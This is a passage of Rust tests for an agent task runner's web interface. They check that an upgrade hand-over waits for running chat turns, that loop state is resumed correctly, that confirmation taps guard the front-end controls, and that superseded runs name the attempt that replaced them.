17317        Arc<Mutex<LoopState>>,
17318        Arc<Mutex<TalkTurns>>,
17319        tokio::task::JoinHandle<std::io::Result<()>>,
17320    ) {
17321        let ui = idle_ui(home);
17322        let looping = ui.looping();
17323        let turns = ui.turns();
17324        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17325            .await
17326            .expect("bind loopback");
17327        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17328        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17329        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17330        (ui, looping, turns, served)
17331    }
17332
17333    /// The hand-over does not release the address while a chat turn is in
17334    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
17335    /// started once the turn ends.
17336    #[tokio::test]
17337    async fn hand_over_waits_for_a_running_chat_turn() {
17338        let home = TempDir::new().expect("temp home");
17339        let (ui, looping, turns, served) = park_fixture(&home).await;
17340        let ui = Arc::new(ui);
17341        let id = "20260901-000000-chat";
17342        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17343
17344        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17345        let handover = tokio::spawn({
17346            let home = home.path().to_path_buf();
17347            let turns = Arc::clone(&turns);
17348            let calls = Arc::clone(&calls);
17349            async move {
17350                hand_over(
17351                    &home,
17352                    &looping,
17353                    &turns,
17354                    &|_: &[String]| Duration::from_secs(60),
17355                    served,
17356                    move |_| {
17357                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17358                        Ok(1)
17359                    },
17360                )
17361                .await
17362            }
17363        });
17364
17365        let waiting = async {
17366            for _ in 0..200 {
17367                if crate::updater::read_progress(home.path())
17368                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
17369                {
17370                    return;
17371                }
17372                tokio::time::sleep(Duration::from_millis(25)).await;
17373            }
17374            panic!("the park never named the chat turn");
17375        };
17376        waiting.await;
17377        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17378
17379        // A new turn is refused, a queued claim and a direct `/say` see a busy
17380        // slot, and nothing new is live.
17381        let refused = ui.begin_talk_turn("20260901-000000-late").err();
17382        assert!(
17383            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17384            "a direct start says an upgrade is in progress"
17385        );
17386        assert!(
17387            ui.begin_queued_talk_turn("20260901-000000-late")
17388                .expect("queued claim")
17389                .is_none()
17390        );
17391        assert!(matches!(
17392            ui.begin_talk_turn_unless_pending("20260901-000000-late")
17393                .expect("start"),
17394            TalkTurnStart::Busy
17395        ));
17396        assert_eq!(turns.lock().unwrap().live.len(), 1);
17397
17398        // The health text names the turn.
17399        let progress = crate::updater::read_progress(home.path()).expect("progress");
17400        let view = upgrade_progress_view(&ui, progress);
17401        assert!(
17402            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17403            "{:?}",
17404            view.waiting_on
17405        );
17406
17407        assert!(!handover.is_finished());
17408        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17409        drop(turn);
17410        handover.await.expect("join").expect("hand over");
17411        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17412        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17413    }
17414
17415    /// Chat stays open while the loop is still parking, and closes only once
17416    /// the loop is done; a turn started during the park is waited for.
17417    #[tokio::test]
17418    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17419        let home = TempDir::new().expect("temp home");
17420        let (ui, looping, turns, served) = park_fixture(&home).await;
17421        let ui = Arc::new(ui);
17422        // A loop that ends only when told to.
17423        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17424        lock_or_recover(&looping).live = Some(Live {
17425            stop: daemon::Stop::new(),
17426            handle: tokio::spawn(async move {
17427                let _ = loop_ended.await;
17428            }),
17429            opts: daemon::Opts::default(),
17430        });
17431
17432        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17433        let handover = tokio::spawn({
17434            let home = home.path().to_path_buf();
17435            let turns = Arc::clone(&turns);
17436            let calls = Arc::clone(&calls);
17437            async move {
17438                hand_over(
17439                    &home,
17440                    &looping,
17441                    &turns,
17442                    &|_: &[String]| Duration::from_secs(60),
17443                    served,
17444                    move |_| {
17445                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17446                        Ok(1)
17447                    },
17448                )
17449                .await
17450            }
17451        });
17452
17453        let reached = async {
17454            for _ in 0..200 {
17455                if crate::updater::read_progress(home.path())
17456                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
17457                {
17458                    return;
17459                }
17460                tokio::time::sleep(Duration::from_millis(25)).await;
17461            }
17462            panic!("the hand-over never reached parking");
17463        };
17464        reached.await;
17465
17466        // The loop is still parking: a chat turn starts.
17467        assert!(!turns.lock().unwrap().parking);
17468        let turn = ui
17469            .begin_talk_turn("20260901-000000-chat")
17470            .expect("claim")
17471            .expect("a turn can start while the loop parks");
17472
17473        // The loop ends; the slot closes while the first turn is still held.
17474        end_loop.send(()).expect("loop still waiting");
17475        for _ in 0..200 {
17476            if turns.lock().unwrap().parking {
17477                break;
17478            }
17479            tokio::time::sleep(Duration::from_millis(25)).await;
17480        }
17481        assert!(
17482            turns.lock().unwrap().parking,
17483            "closed once the loop is done"
17484        );
17485        let refused = ui.begin_talk_turn("20260901-000000-late").err();
17486        assert!(
17487            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17488            "no turn starts once the loop is done"
17489        );
17490        assert!(
17491            ui.begin_queued_talk_turn("20260901-000000-late")
17492                .expect("queued claim")
17493                .is_none()
17494        );
17495        assert!(!handover.is_finished());
17496        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17497
17498        drop(turn);
17499        handover.await.expect("join").expect("hand over");
17500        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17501        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17502    }
17503
17504    /// A turn that never ends cannot block the upgrade: past the bound the
17505    /// hand-over proceeds and records which talk it gave up on.
17506    #[tokio::test]
17507    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
17508        let home = TempDir::new().expect("temp home");
17509        let (ui, looping, turns, served) = park_fixture(&home).await;
17510        let id = "20260901-000000-stuk";
17511        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17512
17513        let calls = std::sync::atomic::AtomicUsize::new(0);
17514        hand_over(
17515            home.path(),
17516            &looping,
17517            &turns,
17518            &|_: &[String]| Duration::from_millis(300),
17519            served,
17520            |_| {
17521                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17522                Ok(1)
17523            },
17524        )
17525        .await
17526        .expect("hand over");
17527        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17528
17529        let progress = crate::updater::read_progress(home.path()).expect("progress");
17530        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
17531        assert!(
17532            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
17533            "{:?}",
17534            progress.detail
17535        );
17536        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
17537        assert!(
17538            log.contains("handing over anyway") && log.contains(id),
17539            "{log}"
17540        );
17541    }
17542
17543    /// A drain that finds the upgrade parking leaves the queued draft alone
17544    /// and gives the slot up, instead of starting another turn.
17545    #[tokio::test]
17546    async fn drain_loop_starts_no_turn_while_parking() {
17547        let tmp = TempDir::new().expect("tempdir");
17548        let repo = tmp.path().join("repo");
17549        std::fs::create_dir_all(&repo).expect("repo dir");
17550        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
17551        let home = TempDir::new().expect("temp home");
17552        let talks = Talks::at(home.path().join("talks"));
17553        let ui = Ui::new(
17554            Queue::at(home.path().join("queue")),
17555            Questions::at(home.path().join("questions")),
17556            talks.clone(),
17557            home.path().join("runs"),
17558            home.path().to_path_buf(),
17559            repo.clone(),
17560        )
17561        .with_worktrees_root(home.path().join("wt"));
17562        let cfg = config_for(&repo).await.expect("discover config");
17563        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
17564        let id = talk.id.clone();
17565        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
17566        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
17567        let turns = ui.turns();
17568        let parking = ParkingTurns::begin(&turns);
17569
17570        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
17571
17572        assert!(
17573            turns.lock().unwrap().live.is_empty(),
17574            "the slot is given up"
17575        );
17576        let fresh = talks.get(&id).expect("talk");
17577        assert_eq!(fresh.pending, "later", "the draft is still queued");
17578        assert!(fresh.turns.is_empty(), "no turn ran");
17579        drop(parking);
17580    }
17581
17582    /// Run `hand_over` against `ui` and return what the successor was told.
17583    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
17584        let looping = ui.looping();
17585        let turns = ui.turns();
17586        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17587            .await
17588            .expect("bind loopback");
17589        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17590        let told = std::sync::Mutex::new(None);
17591        hand_over(
17592            home.path(),
17593            &looping,
17594            &turns,
17595            &|_: &[String]| Duration::from_secs(5),
17596            served,
17597            |resume| {
17598                *told.lock().unwrap() = Some(resume);
17599                Ok(1)
17600            },
17601        )
17602        .await
17603        .expect("hand over");
17604        told.into_inner().unwrap().expect("successor was started")
17605    }
17606
17607    #[tokio::test]
17608    async fn a_running_loop_is_resumed_by_the_successor() {
17609        let home = TempDir::new().expect("temp home");
17610        let ui = idle_ui(&home);
17611        ui.start_loop(None).expect("start");
17612        ui.park_for_upgrade().expect("park");
17613        // The idle loop sees the park and ends before the handover fires.
17614        for _ in 0..500 {
17615            if !ui.loop_view(None).running {
17616                break;
17617            }
17618            tokio::time::sleep(Duration::from_millis(2)).await;
17619        }
17620        assert!(handed_over(&home, ui).await, "a running loop must resume");
17621
17622        let successor = idle_ui(&home);
17623        assert!(!successor.loop_view(None).running);
17624        assert!(successor.resume_after_handover(true));
17625        assert!(successor.loop_view(None).running);
17626        successor.stop_loop(None, false).expect("stop");
17627    }
17628
17629    #[tokio::test]
17630    async fn a_second_upgrade_request_keeps_the_resume_intent() {
17631        let home = TempDir::new().expect("temp home");
17632        let ui = idle_ui(&home);
17633        ui.start_loop(None).expect("start");
17634        ui.park_for_upgrade().expect("first park");
17635        ui.park_for_upgrade().expect("second park");
17636        assert!(handed_over(&home, ui).await);
17637    }
17638
17639    #[tokio::test]
17640    async fn a_stop_during_the_handover_wait_is_honoured() {
17641        let home = TempDir::new().expect("temp home");
17642        let ui = idle_ui(&home);
17643        ui.start_loop(None).expect("start");
17644        ui.park_for_upgrade().expect("park");
17645        ui.stop_loop(None, false).expect("stop");
17646        assert!(!handed_over(&home, ui).await);
17647    }
17648
17649    #[tokio::test]
17650    async fn an_idle_loop_stays_stopped_across_the_handover() {
17651        let home = TempDir::new().expect("temp home");
17652        let ui = idle_ui(&home);
17653        ui.park_for_upgrade().expect("park");
17654        assert!(!handed_over(&home, ui).await);
17655
17656        let successor = idle_ui(&home);
17657        assert!(!successor.resume_after_handover(false));
17658        assert!(!successor.loop_view(None).running);
17659    }
17660
17661    #[tokio::test]
17662    async fn a_loop_the_operator_stopped_is_not_resumed() {
17663        let home = TempDir::new().expect("temp home");
17664        let ui = idle_ui(&home);
17665        ui.start_loop(None).expect("start");
17666        ui.stop_loop(None, false).expect("stop");
17667        ui.park_for_upgrade().expect("park");
17668        assert!(!handed_over(&home, ui).await);
17669    }
17670
17671    #[test]
17672    fn only_an_explicit_one_requests_a_resume() {
17673        assert!(!resume_requested(None));
17674        assert!(!resume_requested(Some("0".into())));
17675        assert!(!resume_requested(Some("".into())));
17676        assert!(resume_requested(Some("1".into())));
17677    }
17678
17679    #[test]
17680    fn the_upgrade_button_arms_before_it_restarts_anything() {
17681        // It ends the process the operator is talking to, and a phone in a
17682        // pocket taps things. One tap arms, the second commits.
17683        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
17684        assert!(APP_JS.contains("Replace the binary and restart?"));
17685        assert!(APP_JS.contains("function confirmed("));
17686        // Hidden when the loop is somebody else's, matching the 409 above -
17687        // and hidden with nothing to install, matching the 200 "already
17688        // current" branch: an operator on the newest build must not be
17689        // offered a restart that would only park a run for nothing.
17690        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
17691        // A park waits for the node in flight, up to an hour for an implement
17692        // wave. Leaving the button reading "Upgrading…" for that long is the
17693        // same mistake as an error rendered off screen: it looks wedged.
17694        assert!(
17695            APP_JS.contains("Parking, then restarting"),
17696            "the button says what it is waiting for"
17697        );
17698        // And nothing to install must give the button back rather than
17699        // pretending a restart is coming.
17700        assert!(APP_JS.contains("if (!out.to)"));
17701    }
17702
17703    #[test]
17704    fn stopping_the_loop_arms_but_starting_does_not() {
17705        // A stray tap must not leave the queue stopped overnight, so a stop is
17706        // two taps through the same helper the upgrade uses; a start stays one.
17707        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
17708        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
17709        assert!(APP_JS.contains("confirmed(button, question)"));
17710        // The label put back on timeout is the one saved when arming, not a
17711        // hard-coded upgrade caption that would rename the stop button.
17712        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
17713        assert!(APP_JS.contains("const label = btn.textContent;"));
17714        assert!(!APP_JS.contains("Neither direction is guarded"));
17715    }
17716
17717    #[test]
17718    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
17719        assert!(
17720            APP_JS.contains("state.health.version"),
17721            "the operator wants to know what is running even with nothing newer"
17722        );
17723        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
17724    }
17725
17726    #[test]
17727    fn the_upgrade_button_names_its_destination() {
17728        assert!(
17729            APP_JS.contains("`Update to ${update.to}`"),
17730            "pressing the button should not be a surprise about what it moves to"
17731        );
17732    }
17733
17734    #[test]
17735    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
17736        for stage in ["downloading", "replaced", "parking", "restarting"] {
17737            assert!(
17738                APP_JS.contains(&format!("\"{stage}\"")),
17739                "the phone must be able to tell {stage} apart from the others"
17740            );
17741        }
17742        assert!(APP_JS.contains(".waiting_on"));
17743        // What replaced the bare "Cannot reach magi: Failed to fetch": a
17744        // fetch failing while an upgrade is in flight is not an error, it is
17745        // the sub-second gap `bind_waiting` covers, and it must not be
17746        // reported as one.
17747        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
17748        assert!(APP_JS.contains("reconnects on its own"));
17749    }
17750
17751    #[test]
17752    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
17753        // `Stage::Failed` is terminal on the server and nothing clears it on
17754        // its own - not a fresh start, not time passing - so a full-strip
17755        // takeover for it (the way the busy stages take the strip over,
17756        // correctly, because those are transient) would have hidden
17757        // start/stop/park behind an upgrade notice with no way back short of
17758        // a person editing `upgrade.json` by hand or a later release
17759        // happening to succeed. The failure must instead ride along as a note
17760        // next to whatever control the loop's own state already offers.
17761        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
17762            ..APP_JS.find("function upgrade(").expect("upgrade")];
17763        assert!(
17764            !body.contains(
17765                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
17766            ),
17767            "a failed upgrade must not take the whole strip over the way it used to"
17768        );
17769        assert!(
17770            body.contains("upgradeFailNote"),
17771            "the failure has to reach the loop's own note instead"
17772        );
17773        // `quiet` and `control` are the only two places `loop-why` is set from
17774        // this function's own state; both must carry the note through, or a
17775        // future edit to either one would silently drop it again.
17776        assert_eq!(
17777            body.matches("upgradeFailNote].filter(Boolean).join")
17778                .count(),
17779            2,
17780            "both loop-why writers (quiet and control) must fold the note in"
17781        );
17782    }
17783
17784    #[test]
17785    fn an_overdue_upgrade_eventually_asks_for_a_human() {
17786        // The ceiling has to clear a full hour-long park with room to spare,
17787        // or an ordinary implement wave would be reported as a stuck upgrade.
17788        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17789        assert!(APP_JS.contains("function upgradeOverdue("));
17790    }
17791
17792    #[test]
17793    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17794        assert!(
17795            APP_JS.contains("Updated to ${upgradeInfo.to"),
17796            "the operator who asked for the restart wants to know it worked"
17797        );
17798    }
17799
17800    #[test]
17801    fn an_error_is_visible_from_where_the_button_is() {
17802        // The alert used to sit in the flow under the header. On a phone
17803        // scrolled 13 500 px down to a run's action sheet that is off screen,
17804        // so tapping Resume and being told "the loop is running run b455
17805        // right now" looked exactly like a button that did nothing.
17806        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17807            ..APP_CSS.find(".alert-text").expect(".alert-text")];
17808        assert!(
17809            alert.contains("position: fixed"),
17810            "an error about the thing under your thumb has to be visible from \
17811             where your thumb is: {alert}"
17812        );
17813        assert!(
17814            alert.contains("z-index: 25"),
17815            "above the dock (20) and the run-actions FAB (15), so neither \
17816             buries it: {alert}"
17817        );
17818        assert!(
17819            alert.contains("var(--tap)"),
17820            "and clear of the dock and the home indicator: {alert}"
17821        );
17822        // The FAB sits at the same height on the right. An error that covered
17823        // it would hide the button the operator reaches for next.
17824        assert!(
17825            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17826            "the FAB's column stays free: {alert}"
17827        );
17828    }
17829
17830    #[tokio::test]
17831    async fn an_older_attempt_says_what_replaced_it() {
17832        let fx = Fixture::start().await;
17833        let q = fx.queue();
17834        let runs = fx.runs();
17835        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17836        write_run(&runs, first, RunStatus::Stalled);
17837        write_run(&runs, second, RunStatus::Blocked);
17838
17839        let mut t = Task::new(
17840            "one task".to_owned(),
17841            "do it".to_owned(),
17842            PathBuf::from("/repo"),
17843            Source::Human,
17844        );
17845        t.runs = vec![first.to_owned(), second.to_owned()];
17846        q.put(&mut t).expect("put");
17847
17848        // Two cards with the same title and no hint which is which was the
17849        // question: "why are there two of the same, one stalled and one
17850        // blocked?" The older one now names its replacement.
17851        let rows = fx.get("/api/runs").await.json();
17852        let by = |short: &str| -> Value {
17853            rows.as_array()
17854                .unwrap()
17855                .iter()
17856                .find(|r| r["short"] == short)
17857                .cloned()
17858                .unwrap_or(Value::Null)
17859        };
17860        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17861        assert!(
17862            by("bbbb")["superseded_by"].is_null(),
17863            "the latest attempt is not superseded by anything"
17864        );
17865        // Front end: the note has to be rendered, not just carried.
17866        assert!(APP_JS.contains("run.superseded_by"));
17867        assert!(APP_JS.contains("Superseded by"));
17868    }
17869
17870    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17871        let mut t = Task::new(
17872            "one task".to_owned(),
17873            "do it".to_owned(),
17874            PathBuf::from("/repo"),
17875            Source::Human,
17876        );
17877        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17878        t.status = status;
17879        t
17880    }
17881
17882    #[test]
17883    fn source_link_picks_the_page_that_filed_the_task() {
17884        let agent = |node: &str| Source::Agent {
17885            run: "20260904-014455-ab12".to_owned(),
17886            node: node.to_owned(),
17887        };
17888        let chat = source_link(&agent("chat")).expect("chat link");
17889        assert_eq!(chat.kind, "chat");
17890        assert_eq!(chat.id, "20260904-014455-ab12");
17891        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17892        let run = source_link(&agent("implement")).expect("run link");
17893        assert_eq!(
17894            (run.kind, run.href.as_str()),
17895            ("run", "#/runs/20260904-014455-ab12")
17896        );
17897        assert_eq!(source_link(&Source::Human), None);
17898        assert_eq!(
17899            source_link(&Source::Issue {
17900                number: 3,
17901                repo: "o/r".to_owned()
17902            }),
17903            None
17904        );
17905        let odd = source_link(&Source::Agent {
17906            run: "a b/c".to_owned(),
17907            node: "chat".to_owned(),
17908        })
17909        .expect("link");
17910        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17911    }
17912
17913    #[test]
17914    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17915        assert!(
17916            !APP_JS.contains("src.node === \"chat\""),
17917            "inline href rule is back"
17918        );
17919        assert!(
17920            APP_JS.matches("sourceLinkOf(").count() >= 4,
17921            "helper must serve every page"
17922        );
17923        assert!(
17924            APP_JS.matches("openChatLink(").count() >= 3,
17925            "the run page still needs its explicit chat link"
17926        );
17927        assert!(
17928            !APP_JS.contains("const openChat = el("),
17929            "the Queue card duplicates its source label link again"
17930        );
17931        assert!(
17932            APP_JS.contains("metaKids.push(link ? el(\"a\""),
17933            "the task page must link a chat source label too"
17934        );
17935    }
17936
17937    #[test]
17938    fn task_ref_carries_the_source_link_for_a_chat_task() {
17939        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17940        t.source = Source::Agent {
17941            run: "20260904-014455-ab12".to_owned(),
17942            node: "chat".to_owned(),
17943        };
17944        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17945        let v = serde_json::to_value(&out).expect("json");
17946        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17947        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17948        assert_eq!(v["source_label"], t.source.label());
17949
17950        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17951        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17952            .expect("json");
17953        assert!(v["source_link"].is_null(), "{v}");
17954    }
17955
17956    #[test]
17957    fn task_view_serializes_source_link() {
17958        let mut t = Task::new(
17959            "t".to_owned(),
17960            "t".to_owned(),
17961            PathBuf::from("/repo"),
17962            Source::Agent {
17963                run: "20260901-000000-aaaa".to_owned(),
17964                node: "implement".to_owned(),
17965            },
17966        );
17967        t.runs.clear();
17968        let v = serde_json::to_value(TaskView::from(t)).expect("json");
17969        assert_eq!(v["source_link"]["kind"], "run", "{v}");
17970        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
17971    }
17972
17973    #[tokio::test]
17974    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
17975        let fx = Fixture::start().await;
17976        let runs = fx.runs();
17977        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17978        write_run(&runs, old, RunStatus::Blocked);
17979        write_run(&runs, new, RunStatus::Merged);
17980        let mut t = outcome_task(&[old, new], TaskStatus::Done);
17981        fx.queue().put(&mut t).expect("put");
17982
17983        let view = fx.get(&format!("/api/runs/{old}")).await.json();
17984        let task = &view["task"];
17985        assert_eq!(task["status"], "done");
17986        assert_eq!(task["is_latest"], false);
17987        assert_eq!(task["latest"]["short"], "bbbb");
17988        assert_eq!(task["finished_by"]["id"], new);
17989        assert_eq!(task["finished_by"]["outcome"], "merged");
17990        assert_eq!(task["closed_by_hand"], false);
17991        assert_eq!(view["status"], "blocked", "the run keeps its own status");
17992        assert!(APP_JS.contains("finished_by"));
17993        assert!(APP_JS.contains("superseded by run"));
17994    }
17995
17996    #[tokio::test]
17997    async fn the_latest_run_reports_a_held_task_without_a_successor() {
17998        let fx = Fixture::start().await;
17999        let runs = fx.runs();
18000        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18001        write_run(&runs, old, RunStatus::Stalled);
18002        write_run(&runs, new, RunStatus::Blocked);
18003        let mut t = outcome_task(&[old, new], TaskStatus::Held);
18004        fx.queue().put(&mut t).expect("put");
18005
18006        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
18007        assert_eq!(task["status"], "held");
18008        assert_eq!(task["is_latest"], true);
18009        assert!(task["latest"].is_null());
18010        assert!(task["finished_by"].is_null());
18011        assert_eq!(task["closed_by_hand"], false);
18012    }
18013
18014    #[tokio::test]
18015    async fn a_direct_run_has_no_task_outcome() {
18016        let fx = Fixture::start().await;
18017        let runs = fx.runs();
18018        let id = "20260901-000000-aaaa";
18019        write_run(&runs, id, RunStatus::Blocked);
18020        let view = fx.get(&format!("/api/runs/{id}")).await.json();
18021        assert!(view["task"].is_null());
18022    }
18023
18024    #[test]
18025    fn task_outcome_does_not_guess_a_finishing_run() {
18026        let a = "20260901-000000-aaaa";
18027        let b = "20260901-000000-bbbb";
18028        let c = "20260901-000000-cccc";
18029        let dir = tempfile::tempdir().expect("tempdir");
18030        write_run(dir.path(), a, RunStatus::Blocked);
18031        write_run(dir.path(), b, RunStatus::VerifiedNoop);
18032        // `c` has no record: unreadable.
18033        let read = |id: &str| read_run(dir.path(), id).ok();
18034        // Neither a blocked run nor a no-op finished the task; the newest run is
18035        // unreadable and still named.
18036        let t = outcome_task(&[a, b, c], TaskStatus::Done);
18037        let out = task_outcome(&t, a, 3, read);
18038        assert!(out.finished_by.is_none());
18039        assert!(out.closed_by_hand);
18040        let latest = out.latest.expect("latest");
18041        assert_eq!(latest.id, c);
18042        assert_eq!(latest.status, None);
18043        assert_eq!(latest.outcome, "record unreadable");
18044
18045        // A Ready run settles the task as done, so it is named as the finisher.
18046        write_run(dir.path(), c, RunStatus::Ready);
18047        let t = outcome_task(&[a, c], TaskStatus::Done);
18048        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18049        assert_eq!(out.finished_by.expect("finisher").id, c);
18050        assert!(!out.closed_by_hand);
18051
18052        // A resumed run id repeats: it is still the latest by id.
18053        let t = outcome_task(&[a, b, a], TaskStatus::Held);
18054        assert!(task_outcome(&t, a, 3, read).is_latest);
18055    }
18056
18057    #[tokio::test]
18058    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18059        // The list route has known this since the card fix above; the detail
18060        // route — what an operator actually opens from a notification about
18061        // a blocked run — did not, and went on showing a bare red BLOCKED
18062        // chip for a run a retry had already finished.
18063        let fx = Fixture::start().await;
18064        let q = fx.queue();
18065        let runs = fx.runs();
18066        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18067        write_run(&runs, first, RunStatus::Blocked);
18068        write_run(&runs, second, RunStatus::Merged);
18069
18070        let mut t = Task::new(
18071            "one task".to_owned(),
18072            "do it".to_owned(),
18073            PathBuf::from("/repo"),
18074            Source::Human,
18075        );
18076        t.runs = vec![first.to_owned(), second.to_owned()];
18077        q.put(&mut t).expect("put");
18078
18079        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18080        assert_eq!(earlier["superseded_by"], "dddd");
18081        assert_eq!(earlier["latest_attempt"]["id"], second);
18082        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18083        assert_eq!(
18084            earlier["latest_attempt"]["resolved"], true,
18085            "the run that replaced it landed, so this one reads as settled"
18086        );
18087
18088        let later = fx.get(&format!("/api/runs/{second}")).await.json();
18089        assert!(
18090            later["superseded_by"].is_null(),
18091            "the latest attempt is not superseded by anything"
18092        );
18093        assert!(
18094            later["latest_attempt"].is_null(),
18095            "the latest attempt has no later attempt of its own"
18096        );
18097
18098        // Front end: the detail page has to read the field this route now
18099        // carries, downgrade the chip, and link to the run that replaced it —
18100        // not just repeat the list card's own logic under a different name.
18101        // The link is built off `latest_attempt.id`, the server-resolved
18102        // full id, never a bare short string a client would have to guess a
18103        // full run from.
18104        assert!(APP_JS.contains("run.latest_attempt"));
18105        assert!(APP_JS.contains("data-superseded"));
18106        assert!(APP_JS.contains("#/runs/${latest.id}"));
18107    }
18108
18109    #[tokio::test]
18110    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18111        // A -> B -> C, all Blocked except the last. A's immediate successor
18112        // (superseded_by) is B, which is itself unresolved; what an operator
18113        // opening A's page actually needs is where the task's story stands
18114        // *now* - C, not B - without depending on whether C happens to be in
18115        // whatever page of /api/runs the client last cached.
18116        let fx = Fixture::start().await;
18117        let q = fx.queue();
18118        let runs = fx.runs();
18119        let (a, b, c) = (
18120            "20260901-000000-aaaa",
18121            "20260901-000000-bbbb",
18122            "20260901-000000-cccc",
18123        );
18124        write_run(&runs, a, RunStatus::Blocked);
18125        write_run(&runs, b, RunStatus::Blocked);
18126        write_run(&runs, c, RunStatus::Merged);
18127
18128        let mut t = Task::new(
18129            "retried twice".to_owned(),
18130            "do it".to_owned(),
18131            PathBuf::from("/repo"),
18132            Source::Human,
18133        );
18134        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18135        q.put(&mut t).expect("put");
18136
18137        let view = fx.get(&format!("/api/runs/{a}")).await.json();
18138        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18139        assert_eq!(
18140            view["latest_attempt"]["id"], c,
18141            "the chain's current head, not the intermediate Blocked retry"
18142        );
18143        assert_eq!(view["latest_attempt"]["resolved"], true);
18144
18145        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18146        assert_eq!(mid["latest_attempt"]["id"], c);
18147        assert_eq!(mid["latest_attempt"]["resolved"], true);
18148    }
18149
18150    #[tokio::test]
18151    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18152        let fx = Fixture::start().await;
18153        let q = fx.queue();
18154        let runs = fx.runs();
18155
18156        // Still Blocked: the task is not resolved, so the older run must not
18157        // read as settled either.
18158        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18159        write_run(&runs, still_blocked_a, RunStatus::Blocked);
18160        write_run(&runs, still_blocked_b, RunStatus::Blocked);
18161        let mut t1 = Task::new(
18162            "still stuck".to_owned(),
18163            "do it".to_owned(),
18164            PathBuf::from("/repo"),
18165            Source::Human,
18166        );
18167        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18168        q.put(&mut t1).expect("put");
